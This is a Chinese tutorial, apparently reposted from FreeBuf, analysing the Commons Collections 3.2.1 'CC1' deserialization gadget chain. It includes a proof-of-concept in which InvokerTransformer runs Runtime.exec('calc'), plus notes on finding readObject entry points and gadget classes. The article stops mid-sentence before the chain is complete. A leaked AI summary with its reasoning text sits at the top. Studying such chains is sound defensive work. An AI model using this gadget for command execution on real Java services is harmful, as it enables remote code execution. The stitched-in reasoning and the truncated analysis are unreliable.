反序列化——CC1
嗯,用户让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”这样的开头。首先,我需要仔细阅读这篇文章,了解它的主要信息。 看起来这篇文章主要讲的是CC1反序列化漏洞,属于云安全中的一个技术点。文章详细介绍了漏洞的原理,包括如何利用Transformer接口中的transform方法来执行任意命令。还提到了如何搭建环境、分析攻击链以及具体的利用步骤。 用户可能是一个网络安全从业者或者学生,想快速了解CC1漏洞的基本情况。他们可能需要一个简洁明了的总结,用于学习或工作参考。 接下来,我要确保总结的内容涵盖漏洞名称、涉及的技术、漏洞原理以及利用方法。同时,要控制在100字以内,避免冗长。 最后,检查一下语言是否流畅自然,确保信息准确无误。 </think> 文章介绍了CC1反序列化漏洞的原理与利用方法。该漏洞源于Apache Commons Collections 3.2.1库中的Transformer接口设计缺陷,攻击者可通过控制反序列化输入,在目标机器上执行任意命令(RCE)。文章详细分析了漏洞利用链、环境搭建及攻击链分析,并提供了测试代码框架和具体利用步骤。 2025-12-17 08:13:58 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CC1

介绍

CC1 是 Apache Commons-Collections 3.2.1 库中最经典、最著名的反序列化利用链(Gadget Chain)。 攻击者只要能控制反序列化输入,就能通过 CC1 链在目标机器上执行任意命令(RCE)。

CC1 链的源头是 Commons Collections 库中的 Tranformer ( org/apache/commons/collections/Transformer.java )接口中的 transform 方法。 这个接口的设计初衷,是为了把一个对象转换成另一个对象, 但是,在实现类里把 transform 变成“可以执行任意逻辑”时,就出现了漏洞。

环境

  • 官网下载jdk8u_65(以英文打开官网,才可下载到65;中文打开会下的其他版本)

    image-20251119202800897

  • 建立项目,pom.xml加入3.2.1依赖

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>
  • 修改sun包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

    class文件转为源码(方便调试)

    1. 下载zipimage-20251119202800837

    2. 解压得到jdk-af660750b2f4

      在如图的路径

      image-20251119210815486

    3. 将sun文件夹放到(从上面拖到这个路径下)

      sre从dk1.8.0_65的sre.zip解压即可

      image-20251119211155555

    4. 把 src 文件夹添加到源路径下

      image-20251119214151066

Find Usages(利用点查找)

攻击链分析

入口类这里,我们需要一个readObject方法,结尾这里需要一个能够命令执行的方法(需要逆向分析)

image-20251120162200642

commons collections就是可序列化集合类,可以接受任意对象

利用点查找

  1. 找到“反序列化入口”

    找的是能触发

    ObjectInputStream.readObject()

    的地方(无论是手写的 / 网络传输 / RPC / Tomcat session / RMI 等)

    典型入口代码:

    ObjectInputStream ois = new ObjectInputStream(inputStream);
    Object obj = ois.readObject();

    IDE(如 IDEA)里直接用右键 readObject() → Find Usages你就能看到所有执行反序列化的地方

  2. 从入口往下找“可控对象”

    条件描述
    有反序列化入口readObject() 触发
    输入内容可控你可以发送恶意序列化数据
    类的readObject中会调用某些危险点如方法执行、getter 调用、hashCode 等

    寻找会被反序列化的类

    • 看 readObject() 之后出现的代码(调试时可见反序列化的类名)。

    • 查看该入口接收的数据是什么类型的对象。

    • 找这些类是否实现了Serializable

  3. 危险方法自动触发点

    方法说明
    readObject()反序列化时自动触发
    readResolve()替换对象时调用
    finalize()GC 时调用
    hashCode()/equals()被放入 HashMap 时触发
    compareTo()TreeMap / PriorityQueue 排序时触发
    toString()打日志时触发
  4. 寻找 集合类引发的链式调用

    用 Find Usages 查某个可疑类是否被放入 HashMap / TreeMap / PriorityQueue等结构中。 如果发现这种情况 = 有可能形成反序列化链。

  5. 查 gadget(利用类)是否存在于依赖中

    查看库中是否存在 gadget,例如:

    • commons-collections

    • fastjson

    • jackson

    • xstream

    • groovy

    • jython

    • rome

    • spring-core

    查看是否有地方反序列化这些类,就能判断是否可利用。

分析

  • 先在一个CC1Test文件写个测试代码的框架吧

    package org.example;

    import java.io.*;

    public class CC1Test
    {
    public static void main( String[] args ) throws Exception
    {
    //在这测试
    }

    public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
    }
    }

TransformedMap 版

漏洞利用

  • 提前了解到cc1是由类InvokerTransformer它实现接口Transformer

    可以先弹一个计算器测试一下,环境能不能跑通

    image-20251120174146224

  • 首先是发现了了一个Transformer接口,用于接收对象来实现transform(Object input)方法

    image-20251120174619857

  • 查看其实现类

    image-20251120174737422

    定位到了InvokerTransformer

  • InvokerTransformer.java,查看这个文件的transform方法

    image-20251120175042901

  • 发现存在反射调用

    public Object transform(Object input) {
    if (input == null) {
    return null;
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);

    接收对象之后,对方法,值进行反射调用(这些都是可以自主控制的)

  • 利用

    package org.example;

    import org.apache.commons.collections.functors.InvokerTransformer;

    import java.io.IOException;

    public class CC1Test {
    public static void main(String[] args) throws IOException {
    //Runtime.getRuntime().exec("calc");
    Runtime r = Runtime.getRuntime();
    //方法名为exec,参数类型为String,参数值为calc
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    invokerTransformer.transform(r);
    }
    }

    image-20251120182139244

逐步分析

第一步

  • InvokerTransformer.java存在exec()

    也就是InvokerTransformer的transform方法是危险方法

    input 对象 → InvokerTransformer("getMethod") → InvokerTransformer("invoke") → InvokerTransformer("exec")

    image-20251120210855494

  • 现在要回推 哪个调用了transform

    跟进transform

    image-20251120211501756

    image-20251120211507149

    在项目和库中进行查找

  • 主要是查看不同类 调用transform,最后最后回到readObject()

    也就是说不要transform返回transform

    最后找到了就是map类

    image-20251120211944587

    流程:就是看x调用transform,在找x有没有readObject()调用

  • TransformMap调用较多,先从这里入手

    以checkSetValue为例:

    protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
    }

    这个方法里面调用了transform

  • 查看TransformedMap构造函数

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
    }

    是个protected类, 自己才可调用

    意思就是说:传入将key&vbalue传入map,包装成TransformedMap

    1. super(map)

      把传入的map保存到父类AbstractMapDecorator也就是它内部真正的数据还是你传进来的 Map。

      包了一层 ≈ 装饰模式(Decorator Pattern)

    2. 保存 key 和 value 的 transformer

      this.keyTransformer = keyTransformer;
      this.valueTransformer = valueTransformer;

      以后只要有人调用:

      map.put(key, value)

      就会自动触发:

      key = keyTransformer.transform(key);
      value = valueTransformer.transform(value);
  • 在往上看decorate返回值为TransformedMap

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    decorate是个静态方法

    存在就是为了:将一个普通的 Map,包装成一个“可自动 transf

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/462467.html
如有侵权请联系:admin#unsafe.sh